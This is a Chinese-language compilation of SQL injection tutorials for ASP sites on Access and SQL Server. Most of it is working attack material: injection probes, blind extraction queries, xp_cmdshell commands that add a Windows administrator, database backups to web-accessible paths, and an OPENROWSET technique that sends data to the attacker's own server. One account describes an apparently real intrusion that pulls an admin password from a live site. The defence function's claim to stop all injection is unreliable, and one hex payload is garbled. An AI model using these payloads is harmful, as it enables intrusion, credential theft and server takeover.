SQL注入漏洞，攻防必殺技！
SQL注入是常見的利用程式漏洞進行攻擊的方法，是很多入門級“黑客”喜歡採用的攻擊方式，近來網上對它的討論很熱烈，所以我在本期專題中為讀者揭示SQL攻擊的主要原理以及如何防範這種攻擊。攻擊源於程式漏洞 SQL注入原理導致SQL注入攻擊的漏洞並非系統造成的，主要是程式設計師在程式設計中忽略了安全因素，他的原理並不複雜。
引 言
隨著B/S模式應用開發的發展，使用這種模式編寫應用程式的程式設計師也越來越多。但是由於這個行業的入門門檻不高，程式設計師的水平及經驗也參差不齊，相當大一部分程式設計師在編寫程式碼的時候，沒有對使用者輸入資料的合法性進行判斷，使應用程式存在安全隱患。使用者可以提交一段資料庫查詢程式碼，根據程式返回的結果，獲得某些他想得知的資料，這就是所謂的SQL Injection，即SQL注入。
SQL注入是從正常的WWW埠訪問，而且表面看起來跟一般的Web頁面訪問沒什麼區別，所以目前市面的防火牆都不會對SQL注入發出警報，如果管理員沒檢視IIS日誌的習慣，可能被入侵很長時間都不會發覺。
但是，SQL注入的手法相當靈活，在注入的時候會碰到很多意外的情況。能不能根據具體情況進行分析，構造巧妙的SQL語句，從而成功獲取想要的資料，是高手與“菜鳥”的根本區別。
根據國情，國內的網站用ASP+Access或SQLServer的佔70%以上，PHP+MySQ佔L20%，其他的不足10%。在本文，我們從分入門、進階至高階講解一下ASP注入的方法及技巧，PHP注入的文章由NB聯盟的另一位朋友zwell撰寫，希望對安全工作者和程式設計師都有用處。瞭解 ASP注入的朋友也請不要跳過入門篇，因為部分人對注入的基本判斷方法還存在誤區。大家準備好了嗎？Let’s Go…
入門篇
如果你以前沒試過SQL注入的話，那麼第一步先把IE選單=>工具=>Internet選項=>高階=>顯示友好 HTTP 錯誤資訊前面的勾去掉。否則，不論伺服器返回什麼錯誤，IE都只顯示為HTTP 500伺服器錯誤，不
能獲得更多的提示資訊。
第一節、SQL注入原理
以下我們從一個網站www.mytest.com開始（注：本文發表前已徵得該站站長同意，大部分都是真實資料）。
在網站首頁上，有名為“IE不能開啟新視窗的多種解決方法”的連結，地址為：
從這個錯誤提示我們能看出下面幾點：
1. 網站使用的是Access資料庫，通過JET引擎連線資料庫，而不是通過ODBC。
2. 程式沒有判斷客戶端提交的資料是否符合程式要求。
3. 該SQL語句所查詢的表中有一名為ID的欄位。
從上面的例子我們可以知道，SQL注入的原理，就是從客戶端提交特殊的程式碼，從而收集程式及伺服器的資訊，從而獲取你想到得到的資料。
第二節、判斷能否進行SQL注入
看完第一節，有一些人會覺得：我也是經常這樣測試能否注入的，這不是很簡單嗎？
其實，這並不是最好的方法，為什麼呢？
首先，不一定每臺伺服器的IIS都返回具體錯誤提示給客戶端，如果程式中加了cint(引數)之類語句的話，SQL注入是不會成功的，但伺服器同樣會報錯，具體提示資訊為處理 URL 時伺服器上出錯。請和系統管理員聯絡。
其次，部分對SQL注入有一點了解的程式設計師，認為只要把單引號過濾掉就安全了，這種情況不為少數，如果你用單引號測試，是測不到注入點的那麼，什麼樣的測試方法才是比較準確呢？答案如下：
①
② http://www.mytest.com/showdetail.asp?id=49 ;and 1=1
③ http://www.mytest.com/showdetail.asp?id=49 ;and 1=2
這就是經典的1=1、1=2測試法了，怎麼判斷呢？看看上面三個網址返回的結果就知道了：
可以注入的表現：
① 正常顯示（這是必然的，不然就是程式有錯誤了）
② 正常顯示，內容基本與①相同
③ 提示BOF或EOF（程式沒做任何判斷時）、或提示找不到記錄（判斷了rs.eof時）、或顯示內容為空（程式加了on error resume next）
不可以注入就比較容易判斷了，①同樣正常顯示，②和③一般都會有程式定義的錯誤提示，或提示型別轉換時出錯。
當然，這只是傳入引數是數字型的時候用的判斷方法，實際應用的時候會有字元型和搜尋型引數，我將在中級篇的“SQL注入一般步驟”再做分析。
第三節、判斷資料庫型別及注入方法
不同的資料庫的函式、注入方法都是有差異的，所以在注入之前，我們還要判斷一下資料庫的型別。一般ASP最常搭配的資料庫是Access和SQLServer，網上超過99%的網站都是其中之一。
怎麼讓程式告訴你它使用的什麼資料庫呢？來看看：
SQLServer有一些系統變數，如果伺服器IIS提示沒關閉，並且SQLServer返回錯誤提示的話，那可以直接從出錯資訊獲取，方法如下：
這句語句很簡單，但卻包含了SQLServer特有注入方法的精髓，我自己也是在一次無意的測試中發現這種效率極高的猜解方法。讓我看來看看它的含義：首先，前面的語句是正常的，重點在and user>0，我們知道，user是SQLServer的一個內建變數，它的值是當前連線的使用者名稱，型別為nvarchar。拿一個nvarchar的值跟int的數0比較，系統會先試圖將nvarchar的值轉成int型，當然，轉的過程中肯定會出錯，SQLServer的出錯提示是：將nvarchar值 ”abc” 轉換資料型別為 int 的列時發生語法錯誤，呵呵，abc正是變數user的值，這樣，不廢吹灰之力就拿到了資料庫的使用者名稱。在以後的篇幅裡，大家會看到很多用這種方法的語句。
順便說幾句，眾所周知，SQLServer的使用者sa是個等同Adminstrators許可權的角色，拿到了sa許可權，幾乎肯定可以拿到主機的 Administrator了。上面的方法可以很方便的測試出是否是用sa登入，要注意的是：如果是sa登入，提示是將”dbo”轉換成int的列發生錯誤，而不是”sa”。
如果伺服器IIS不允許返回錯誤提示，那怎麼判斷資料庫型別呢？我們可以從Access和SQLServer和別入手，Access和 SQLServer都有自己的系統表，比如存放資料庫中所有物件的表，Access是在系統表[msysobjects]中，但在Web環境下讀該表會提示“沒有許可權”，SQLServer是在表[sysobjects]中，在Web環境下可正常讀取。
在確認可以注入的情況下，使用下面的語句：
http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from sysobjects)>0
http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from msysobjects)>0
如果資料庫是SQLServer，那麼第一個網址的頁面與原頁面http://www.mytest.com/showdetail.asp?id= 49是大致相同的；而第二個網址，由於找不到表msysobjects，會提示出錯，就算程式有容錯處理，頁面也與原頁面完全不同。
如果資料庫用的是Access，那麼情況就有所不同，第一個網址的頁面與原頁面完全不同；第二個網址，則視乎資料庫設定是否允許讀該系統表，一般來說是不允許的，所以與原網址也是完全不同。大多數情況下，用第一個網址就可以得知系統所用的資料庫型別，第二個網址只作為開啟IIS錯誤提示時的驗證。
進階篇
在入門篇，我們學會了SQL注入的判斷方法，但真正要拿到網站的保密內容，是遠遠不夠的。接下來，我們就繼續學習如何從資料庫中獲取想要獲得的內容，首先，我們先看看SQL注入的一般步驟：
第一節、SQL注入的一般步驟
首先，判斷環境，尋找注入點，判斷資料庫型別，這在入門篇已經講過了。
其次，根據注入引數型別，在腦海中重構SQL語句的原貌，按引數型別主要分為下面三種：
(A) ID=49 這類注入的引數是數字型，SQL語句原貌大致如下：
Select * from 表名 where 欄位=49
注入的引數為ID=49 And [查詢條件]，即是生成語句：
Select * from 表名 where 欄位=49 And [查詢條件]
(B) Class=連續劇 這類注入的引數是字元型，SQL語句原貌大致概如下：
Select * from 表名 where 欄位=’連續劇’
注入的引數為Class=連續劇’ and [查詢條件] and ‘’=’ ，即是生成語句：
Select * from 表名 where 欄位=’連續劇’ and [查詢條件] and ‘’=’’
(C) 搜尋時沒過濾引數的，如keyword=關鍵字，SQL語句原貌大致如下：
Select * from 表名 where 欄位like ’%關鍵字%’
注入的引數為keyword=’ and [查詢條件] and ‘%25’=’， 即是生成語句：
Select * from 表名 where欄位like ’%’ and [查詢條件] and ‘%’=’%’
接著，將查詢條件替換成SQL語句，猜解表名，例如：
ID=49 And (Select Count(*) from Admin)>=0
如果頁面就與ID=49的相同，說明附加條件成立，即表Admin存在，反之，即不存在（請牢記這種方法）。如此迴圈，直至猜到表名為止。
表名猜出來後，將Count(*)替換成Count(欄位名)，用同樣的原理猜解欄位名。
有人會說：這裡有一些偶然的成分，如果表名起得很複雜沒規律的，那根本就沒得玩下去了。說得很對，這世界根本就不存在100%成功的黑客技術，蒼蠅不叮無縫的蛋，無論多技術多高深的黑客，都是因為別人的程式寫得不嚴密或使用者保密意識不夠，才有得下手。
有點跑題了，話說回來，對於SQLServer的庫，還是有辦法讓程式告訴我們表名及欄位名的，我們在高階篇中會做介紹。
最後，在表名和列名猜解成功後，再使用SQL語句，得出欄位的值，下面介紹一種最常用的方法－Ascii逐字解碼法，雖然這種方法速度很慢，但肯定是可行的方法。
我們舉個例子，已知表Admin中存在username欄位，首先，我們取第一條記錄，測試長度：
http://www.mytest.com/showdetail.asp?id=49 ;and (select top 1 len(username) from Admin)>0
先說明原理：如果top 1的username長度大於0，則條件成立；接著就是>1、>2、>3這樣測試下去，一直到條件不成立為止，比如>7成立，>8不成立，就是len(username)=8 當然沒人會笨得從0,1,2,3一個個測試，怎麼樣才比較快就看各自發揮了。在得到username的長度後，用mid(username,N,1)擷取第N位字元，再asc(mid(username,N,1))得到ASCII碼，比如： id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0
同樣也是用逐步縮小範圍的方法得到第1位字元的ASCII碼，注意的是英文和數字的ASCII碼在1-128之間，可以用折半法加速猜解，如果寫成程式測試，效率會有極大的提高。
第二節、SQL注入常用函式
有SQL語言基礎的人，在SQL注入的時候成功率比不熟悉的人高很多。我們有必要提高一下自己的SQL水平，特別是一些常用的函式及命令。
Access：asc(字元) SQLServer：unicode(字元)
作用：返回某字元的ASCII碼
Access：chr(數字) SQLServer：nchar(數字)
作用：與asc相反，根據ASCII碼返回字元
Access：mid(字串,N,L) SQLServer：substring(字串,N,L)
作用：返回字串從N個字元起長度為L的子字串，即N到N+L之間的字串
Access：abc(數字) SQLServer：abc (數字)
作用：返回數字的絕對值（在猜解漢字的時候會用到）
Access：A between B And C SQLServer：A between B And C
作用：判斷A是否界於B與C之間
第三節、中文處理方法
在注入中碰到中文字元是常有的事，有些人一碰到中文字元就想打退堂鼓了。其實只要對中文的編碼有所瞭解，“中文恐懼症”很快可以克服。
先說一點常識：
Access中，中文的ASCII碼可能會出現負數，取出該負數後用abs()取絕對值，漢字字元不變。
SQL Server中，中文的ASCII為正數，但由於是UNICODE的雙位編碼，不能用函式ascii()取得ASCII碼，必須用函式unicode ()返回unicode值，再用nchar函式取得對應的中文字元。
瞭解了上面的兩點後，是不是覺得中文猜解其實也跟英文差不多呢？除了使用的函式要注意、猜解範圍大一點外，方法是沒什麼兩樣的。
高階篇
看完入門篇和進階篇後，稍加練習，破解一般的網站是沒問題了。但如果碰到表名列名猜不到，或程式作者過濾了一些特殊字元，怎麼提高注入的成功率？怎麼樣提高猜解效率？請大家接著往下看高階篇。
第一節、利用系統表注入SQLServer資料庫
SQL Server是一個功能強大的資料庫系統，與作業系統也有緊密的聯絡，這給開發者帶來了很大的方便，但另一方面，也為注入者提供了一個跳板，我們先來看看幾個具體的例子：
① http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”–
分號;在SQLServer中表示隔開前後兩句語句，–表示後面的語句為註釋，所以，這句語句在SQLServer中將被分成兩句執行，先是Select出ID=1的記錄，然後執行儲存過程xp_cmdshell，這個儲存過程用於呼叫系統命令，於是，用net命令新建了使用者名稱為name、密碼為password的windows的帳號，接著：
② http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”–
將新建的帳號name加入管理員組，不用兩分鐘，你已經拿到了系統最高許可權！當然，這種方法只適用於用sa連線資料庫的情況，否則，是沒有許可權呼叫xp_cmdshell的。
③ http://Site/url.asp?id=1 ;and db_name()>0
前面有個類似的例子and user>0，作用是獲取連線使用者名稱，db_name()是另一個系統變數，返回的是
連線的資料庫名。
④ http://Site/url.asp?id=1;backup database 資料庫名 to disk=’c:/inetpub/wwwroot/1.db;–
這是相當狠的一招，從③拿到的資料庫名，加上某些IIS出錯暴露出的絕對路徑，將資料庫備份到Web目錄下面，再用HTTP把整個資料庫就完完整整的下載回來，所有的管理員及使用者密碼都一覽無遺！在不知道絕對路徑的時候，還可以備份到網路地址的方法（如//202.96.xx.xx/Share /1.db），但成功率不高。
⑤ http://Site/url.asp?id=1 ;and (Select Top 1 name from sysobjects where xtype=U’and status>0)>0
前面說過，sysobjects是SQLServer的系統表，儲存著所有的表名、檢視、約束及其它物件，xtype=’U’ and status>0，表示使用者建立的表名，上面的語句將第一個表名取出，與0比較大小，讓報錯資訊
把表名暴露出來。第二、第三個表名怎麼獲取？還是留給我們聰明的讀者思考吧。
⑥ http://Site/url.asp?id=1 ;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0
從⑤拿到表名後，用object_id(‘表名’)獲取表名對應的內部ID，col_name(表名ID,1)代表該表的第1個欄位名，將1換成2,3,4…就可以逐個獲取所猜解表裡面的欄位名。
以上6點是我研究SQLServer注入半年多以來的心血結晶，可以看出，對SQLServer的瞭解程度，直接影響著成功率及猜解速度。在我研究SQLServer注入之後，我在開發方面的水平也得到很大的提高，呵呵，也許安全與開發本來就是相輔相成的吧。
第二節、繞過程式限制繼續注入
在入門篇提到，有很多人喜歡用’號測試注入漏洞，所以也有很多人用過濾’號的方法來“防止”注入漏洞，這也許能擋住一些入門者的攻擊，但對SQL注入比較熟悉的人，還是可以利用相關的函式，達到繞過程式限制的目的。
在“SQL注入的一般步驟”一節中，我所用的語句，都是經過我優化，讓其不包含有單引號的；在“利用系統表注入SQLServer資料庫”中，有些語句包含有’號，我們舉個例子來看看怎麼改造這些語句：
簡單的如where xtype=’U’，字元U對應的ASCII碼是85，所以可以用where xtype=char(85)代替；如果字元是中文的，比如where name=’使用者’，可以用where name=nchar(29992)+nchar(25143)代替。
第三節、經驗小結
1.有些人會過濾Select、Update、Delete這些關鍵字，但偏偏忘記區分大小寫，所以大家可以用selecT這樣嘗試一下。
2.在猜不到欄位名時，不妨看看網站上的登入表單，一般為了方便起見，欄位名都與表單的輸入框取
相同的名字。
3.特別注意：位址列的+號傳入程式後解釋為空格，%2B解釋為+號，%25解釋為%號，具體可以參考URL Encode的相關介紹。
4.用Get方法注入時，IIS會記錄你所有的提交字串，對Post方法做則不記錄，所以能用Post的網址儘量不用Get。
5. 猜解Access時只能用Ascii逐字解碼法，SQLServer也可以用這種方法，只需要兩者之間的區別即
可，但是如果能用SQLServer的報錯資訊把值暴露出來，那效率和準確率會有極大的提高。
防範方法
SQL注入漏洞可謂是“千里之堤，潰於蟻穴”，這種漏洞在網上極為普遍，通常是由於程式設計師對注入不瞭解，或者程式過濾不嚴格，或者某個引數忘記檢查導致。在這裡，我給大家一個函式，代替ASP中的Request函式，可以對一切的SQL注入Say NO，函式如下：
Function SafeRequest(ParaName,ParaType)
‘— 傳入引數 —
‘ParaName:引數名稱-字元型
‘ParaType:引數型別-數字型(1表示以上引數是數字，0表示以上引數為字元)
Dim Paravalue
Paravalue=Request(ParaName)
If ParaType=1 then
If not isNumeric(Paravalue) then
Response.write “引數” & ParaName & “必須為數字型！”
Response.end
End if
Else
Paravalue=replace(Paravalue,”’”,”””)
End if
SafeRequest=Paravalue
End function
不管你是安全人員、技術愛好者還是程式設計師，我都希望本文能對你有所幫助。
SQL注入攻擊常見方法和技巧
知己知披 方能百戰百勝；“黑客”們採用的攻擊方法雷同，下面是我挑選的一些具有代表性的攻擊方法，分析這些方法有助於程式設計師們編寫更少漏洞的程式。
跨站式SQL注入資料庫攻擊和防範技巧
前一階段，在嘗試攻擊一個網站的時候，發現對方的系統已經遮蔽了錯誤資訊，用的也是普通的帳號連線的資料庫，系統也是打了全部的補丁這樣要攻擊注入是比較麻煩的。因此我自己搞了一種“跨站式SQL注入”。
思路如下，既然你不顯示錯誤資訊，我能不能讓你顯示到別的地方呢？讓SQL把錯誤寫入別的地方。
既然是研究階段，我們最好不要直接注入網站，而是首先用查詢分析器來分析這個方法。
第一個想法：
SQL可以連線外部的資料庫。
於是，首先用查詢分析器，登陸到我自己的一個虛擬主機的資料庫（這樣的許可權比較小），然後在本地啟動一個SQL server，並且用SA的身份在SQL事件探測器裡邊建立一個跟蹤。
嘗試 sp_addlinkedserver 如果成功，那就和操作本地資料庫一樣了。
提示必須是sysadmin的身份。。失敗。
換一個思路：
只要你SQL敢發命令過來，我不管執行的結果怎麼樣，只要接獲到命令就可以了。
於是考慮到一個許可權要求不是很高的命令：OPENROWSET 來跨伺服器查詢。這個命令作用是把一個數據庫命令發給遠端的資料庫，取回來結果集。。於是就啟動“事件跟蹤”監視發過來的命令。
第一次嘗試，首先還是執行 create table [dbo].laokai–建立一個表。隨後是把路徑寫入資料庫，這裡我考慮，直接生成一個跨庫的指令碼算了。好方便執行。。
DECLARE @result varchar(255) exec master.dbo.xp_regread
‘HKEY_LOCAL_MACHINE’,’SYSTEM/CONTROLSet001/Services/W3SVC/Parameters/Virtual Roots’, ‘/’
,@result output insert into laokai (cha8) values(‘SELECT a.* FROM OPENROWSET(”SQLOLEDB”,”
你的IP”;”sa”;”密碼”, ”SELECT * FROM pubs.dbo.authors where au_fname=””’ + @result + ”””’)AS a’);–
這段程式碼什麼意思哪？就是把網站的路徑資訊寫入資料庫。也不是單純的寫，寫得同時構造一個SQL語句，這個語句的執行結果是給laokai這個資料庫的cha8欄位增加了這樣的一行記錄。
SELECT a.* FROM OPENROWSET(‘SQLOLEDB’,’你的IP’;’sa’;’密碼’, ‘SELECT * FROM pubs.dbo.authors
where au_fname=”C:/Inetpub,,1”’)AS a
其中的C:/Inetpub,,1就是登錄檔記錄的根目錄,最後要做的是:
DECLARE @a1 char(255) set @a1=(SELECT cha8 FROM laokai) exec (@a1);–
這樣就等於執行了
SELECT a.* FROM OPENROWSET(‘SQLOLEDB’,’你的IP’;’sa’;’密碼’, ‘SELECT * FROM pubs.dbo.authors
where au_fname=”C:/Inetpub,,1”’)AS a
這一條語句，同時你會在事件探測器那邊會顯示
SELECT * FROM pubs.dbo.authors where au_fname=’C:/Inetpub,,1’
其中的C:/Inetpub 就是網站的路徑。。除錯成功。。
現在進入實戰階段。某網站遮蔽了全部出錯資訊。但是我們可以確定它存在注入點 a.asp?id=1,怎麼做呢？
a.asp?id=1;create table [dbo].laokai–
返回正常,我們建立了一個叫laokai的表，有個欄位叫cha8,然後:
a.asp?id=1;DECLARE @result varchar(255) exec master.dbo.xp_regread
‘HKEY_LOCAL_MACHINE’,’SYSTEM/CONTROLSet001/Services/W3SVC/Parameters/Virtual Roots’, ‘/’
,@result output insert into laokai (cha8) values(‘SELECT a.* FROM OPENROWSET(”SQLOLEDB”,”
你的IP”;”sa”;”密碼”, ”SELECT * FROM pubs.dbo.authors where au_fname=””’ + @result +”””’)AS a’);–
出錯了……出錯資訊被遮蔽了……怎麼辦？經過研究發現是裡邊的某些字元例如 +號需要轉化成16進位制，或許還有別的地方要轉化……怎麼辦啊？
於是寫了一個ASCII轉化16進位制的工具，把全部的程式碼轉化一下，然後注入就OK了。（工具的下載地址 http://www.cha8.com/ascii.rar 麻煩放入光碟，不要讓他們下，我的伺服器受不了）,最後自然是執行上述語句了。a.asp?id=1;%44%45%43%4C%41%52%45%20%40%72%65%73%75%6C%74%20%76%61%72%63%68%61%72%28%32%35%35
%29%20%65%78%65%63%20%
6D%61%73%74%65%72%2E%64%62%6F%2E%78%70%5F%72%65%67%72%65%61%64%20%27%48%4B%45%59%5F%4C%4F%43
%41%4C%5F%4D%41%43%48%
49%4E%45%27%2C%27%53%59%53%54%45%4D%5C%43%4F%4E%54%52%4F%4C%53%65%74%30%30%31%5C%53%65%72%76
%69%63%65%73%5C%57%33%
53%56%43%5C%50%61%72%61%6D%65%74%65%72%73%5C%56%69%72%74%75%61%6C%20%52%6F%6F%74%73%27%2C%20
%27%2F%27%20%2C%40%72%
65%73%75%6C%74%20%6F%75%74%70%75%74%20%69%6E%73%65%72%74%20%69%6E%74%6F%20%6C%61%6F%6B%61%69
%20%28%63%68%61%38%29%
20%76%61%6C%75%65%73%28%27%53%45%4C%45%43%54%20%61%2E%2A%20%46%52%4F%4D%20%4F%50%45%4E%52%4F
%57%53%45%54%28%27%27%
53%51%4C%4F%4C%45%44%42%27%27%2C%27%27%3F%3F%49%50%27%27%3B%27%27%73%61%27%27%3B%27%27%3F%3F
%27%27%2C%20%27%27%53%
45%4C%45%43%54%20%2A%20%46%52%4F%4D%20%70%75%62%73%2E%64%62%6F%2E%61%75%74%68%6F%72%73%20%77
%68%65%72%65%20%61%75%
5F%66%6E%61%6D%65%3d/33.shtml’ target=’_blank’
class=’article’>3D%27%27%27%27%27%20%2B%20%40%72%65%73%75%6C%74%20%
2B%20%27%27%27%27%27%27%27%29%41%53%20%61%27%29%3B%2D%2D%20
執行成功。
a.asp?id=1;DECLARE @a1 char(255) set @a1=(SELECT cha8 FROM laokai) exec (@a1);–
網站那邊顯示還是正常頁面。。但是你這邊的事件探測器那邊會顯示:
注入成功。。後邊知道了絕對路徑，如何新增木馬的文章就很多了。。這裡就不再描述了。。
最後說明一下：這只是一個新型的攻擊思路的講解，讓大家通過另外一種方式把資料庫裡邊的資料取出來。。
”SELECT * FROM pubs.dbo.authors where au_fname=””’ + @result + ”””’ 部分，修改成insert把資料加入資料庫也應該沒有問題。。甚至單獨保留 @result 都沒問題。。不過這樣那邊會出錯。這邊就留下一個exec ‘C:/Inetpub,,1’
SQL Injection這個話題越來越熱了，很多的論壇和hack站點都或多或少地在談論這個問題，當然也有很多革命前輩寫了N多的關於這方面的文章，所利用的也是許多知名的程式，比如動網，塵緣雅境，而我們也可以拿到免費的程式來看其中的漏洞和資料庫的結構，從中來達到注入的目的，不過如果是別人自己寫的程式，那麼我們就不知道他的原始碼，更不知道他的資料庫結構（資料表名和其中的欄位名），就算有個變數未過濾提交到資料庫去，我們也是無從對其下手的，只能利用通過猜解他的資料庫結構來構造相應的SQL語句，那麼是不是就到此為止，能猜到多少是多少呢？沒有做不到的，只有想不到的，我相信這篇文章對研究SQL Injection朋友來說，應該會有所啟發。
一、發現漏洞，常規注入
最近幫我們的站增加音樂，雖然本地的電信的音樂資源庫非常豐富，但是缺少有關歌手和專輯的資料，所以到網上去閒逛找點有用的圖片和歌手簡介，通過百度搜索到了一個mp3的音樂超市，裡面的資料還是比較豐富的，拷貝的同時順手在他的Specialid=1817後面加了一個（單引號），我突然眼前一亮：
Microsoft OLE DB Provider for SQL Server 錯誤 80040e14
字串 之前有未閉合的引號。
/showspecial.asp，行13
Specialid沒有過濾掉單引號就直接用到SQL語句中去了，而且是SQL SERVER版本的，漏洞的可利用性極大，可不能就此放過這麼好的練兵機會，接著換;（分號）提交進去，居然頁面正常出來了，說明該變數也沒有過濾掉;號，到這裡，我們就可以對此進行SQL滲透了，按照常規的步驟：
1、提交http://**/showspecial.asp?Specialid=1817;use master;–
注：–的作用是註釋掉程式中後面的SQL語句，以防對我們構造的語句有影響，比如order by..
出現
Microsoft OLE DB Provider for SQL Server 錯誤 80040e21
多步 OLE DB 操作產生錯誤。如果可能，請檢查每個 OLE DB 狀態值。沒有工作被完成。
/showspecial.asp，行13
想在他的資料庫裡增加一個管理員是不可能了，我們再換一種方法
2、提交http://**/showspecial.asp?Specialid=1817 and 1<>(select count(id) from
[user])
這一句的意思是猜猜看是不是存在一個名為user的表和他裡面有沒有id這個欄位
一般來說:
如果不存在該表的話，會出現
Microsoft OLE DB Provider for SQL Server 錯誤 80040e37
物件名 user 無效。
/showspecial.asp，行13
不存在該欄位的話，會出現
Microsoft OLE DB Provider for SQL Server 錯誤 80040e14
列名 id 無效。
/showspecial.asp，行13
注：一般來說，第一步是猜一些公共的表，這裡所指的公共表的意思是大多數的程式設計師在寫設計資料庫結構的時候會用到的常用的表和欄位，比如新聞的news表中的編號欄位id，標題欄位title，使用者表user或者user_data中的編號欄位id，使用者名稱欄位username，當然你也可以在該站點的登陸介面看他的原始碼，找到使用者名稱和密碼的表單的name值，那個也經常會是表字段名的真實值，如
很幸運，果然存在user表和id欄位
3、通過提交http://**/showspecial.asp?Specialid=1817 and 1<>(select count(username)
from [user])
這裡的username是根據登陸框的表單名去猜的，恰好存在該欄位。於是在該站註冊了一個使用者名稱為rrrrr的使用者，作為注入的平臺，得到我的使用者名稱的id值103534
4、繼續猜下去，這裡我還是利用的他程式中的表單名，提交：
http://**/showspecial.asp?Specialid=1817 and 1<>(select count(email) from [user])
也存在，好了，到這裡，我們的平臺已經搭建好了。
二、深入研究，讓SQL自己招資料庫結構
很多時候，我們只能猜到大家比較熟用的表名，如果是非原程式公開下載的，我們很猜到他的真實資料庫結構，有時候猜半天都猜不到，令人很鬱悶，那麼該如何拿到他的表結構呢？我們知道SQL SERVER的每一個數據庫都會有使用者表和系統表，根據SQL SERVER的聯機幫助描述是系統表sysobjects：在資料庫內建立的每個物件（約束、預設值、日誌、規則、儲存過程等）在表中佔一行，那麼也就是說當前資料庫的表名都會在該表內有存在，（物件名 admin 無效。大家可以看到上面出現的報錯把表名描述成物件）。
我們要用的是其中的3個，描述如下（詳細的見SQL SERVER的聯機幫助）：
name 資料表的名字
xtype 資料表的型別 u為使用者表
id 資料表的物件標誌
status 保留欄位，使用者表一般都是大於0的
在查詢分析器執行以下SQL語句（以我本地的資料庫為例子）
select top 1 name from sysobjects where xtype=u and status>0
我們馬上就可以得到該資料庫下使用者表的第一個表名gallery
select top 1 id from sysobjects where xtype=u and name=gallery
我們馬上就可以得到該資料庫下使用者表的第一個表名gallery的物件標誌2099048
select top 1 name from sysobjects where xtype=u and id>2099048
再得到第2個表名gb_data，這裡用到的是id>2099048，因為物件標誌id是根據由小到大排列的。
以此類推，我們可以得到所有的使用者表的名字了
接下來，我們要根據得到的表名取他的欄位名，這裡我們用到的是系統自帶的2個函式col_name()和o
bject_id()，在查詢分析器執行以下SQL語句（以我本地的資料庫為例子）：
select top 1 col_name(object_id(gallery),1) from gallery
得到gallery表的第一個欄位名為id。
注：
col_name()的語法
COL_NAME ( table_id , column_id )
引數
table_id：包含資料庫列的表的標識號。table_id 屬於 int 型別。
column_id：列的標識號。column_id 引數屬於 int 型別。
其中我們用object_id()函式來得到該表的標識號，1、2、3。。表示該表的第1個、第2個、第3個。
。欄位的標識號
以此類推得到該表所有的欄位名稱
三、再次滲透攻擊
經過上面2步的熱身，接下來我們該利用建立好的平臺實際操作演練一下了
依然是那個頁，我們提交
http://**/showspecial.asp?Specialid=1817;update[user] set email=(select top 1 name from
sysobjects where xtype=u and status>0) where id=103534;–
伺服器返回
ADODB.Recordset 錯誤 800a0cb3
當前記錄集不支援更新。這可能是提供程式的限制，也可能是選定鎖定型別的限制。
/showspecial.asp，行19
出師不利，可能該頁記錄集開啟方式是隻讀，我們再換一個頁
找到http://**/ShowSinger.asp?Classid=34&SClassid=35的SClassid同樣存在問題，於是提交
http://**/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 name from sysobjects where xtype=u and status>0) where id=103534;–
把第一個資料表的名字更新到我的資料的email項裡去，得到第一個表名為：lmuser
http://**/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 id from sysobjects where xtype=u and name=lmuser) where id=103534;–
得到第一個表lmuser的id標識號為：363148339
http://**/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1
name from sysobjects where xtype=u and id>363148339) where id=103534;–
得到第二個表名為：ad。這裡我們利用的是資料表的物件標誌id是升序排列的特點，以此類推繼續取……（由於篇幅問題，中間省略n步），最後我們得到了所有的表名，發現其中有個表admin，哈，很可能就是管理員的列表了。
好，接下來我們就取該表的欄位名
http://**/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 col_name(object_id(admin),1) from admin) where id=103534;–
得到第1個欄位為：id
http://**/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 col_name(object_id(admin),2) from admin) where id=103534;–
得到第2個欄位為：username
http://**/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1
col_name(object_id(admin),3) from admin) where id=103534;–
得到第2個欄位為：password
到此，管理員列表的3個關鍵欄位已經給我們拿到，接下來要拿使用者名稱和密碼就比較省力了，首先拿管理員的id值，這個比較簡單，我就不再詳細說了。我們拿到的id值是44
http://**/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1
username from admin where id=44) where id=103534;–
將該管理員的使用者名稱更新到email項 ，拿到的username為：gscdjmp3
http://**/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 password from admin where id=44) where id=103534;–
將該管理員的密碼更新到email項，拿到的password為：XZDC9212CDJ
怎麼樣，拿到密碼了吧？
SQL注入不完全思路與防注入程式
＜一＞SQL注入簡介
許多網站程式在編寫時，沒有對使用者輸入資料的合法性進行判斷，使應用程式存在安全隱患。使用者可以提交一段資料庫查詢程式碼，（一般是在瀏覽器位址列進行,通過正常的www埠訪問）根據程式返回的結果，獲得某些他想得知的資料，這就是所謂的SQL Injection，即SQL注入。
＜二＞SQL注入思路
思路最重要。其實好多人都不知道SQL到底能做什麼呢？這裡總結一下SQL注入入侵的總體的思路：
1. SQL注入漏洞的判斷，即尋找注入點
2. 判斷後臺數據庫型別
3. 確定XP_CMDSHELL可執行情況；若當前連線資料的帳號具有SA許可權，且master.dbo.xp_cmdshell擴
展儲存過程(呼叫此儲存過程可以直接使用作業系統的shell)能夠正確執行，則整個計算機可以通過幾種方法完全控制，也就完成了整個注入過程，否則繼續：
1. 發現WEB虛擬目錄
2. 上傳ASP木馬；
3. 得到管理員許可權
具體步驟：
一、SQL注入漏洞的判斷
如果以前沒玩過注入，請把IE選單-工具-Internet選項－高階－顯示友好HTTP錯誤資訊前面的勾去掉。
為了把問題說明清楚，以下以HTTP://www.163.com/news.asp?id=xx(這個地址是假想的)，為例進行
分析，xx可能是整型，也有可能是字串。
1、整型引數的判斷
當輸入的引數xx為整型時，通常news.asp中SQL語句原貌大致如下：
select * from 表名 where 欄位=xx，所以可以用以下步驟測試SQL注入是否存在。
最簡單的判斷方法
HTTP://www.163.com/news.asp?id=xx’(附加一個單引號)，
此時news.asp中的SQL語句變成了
select * from 表名 where 欄位=xx’，
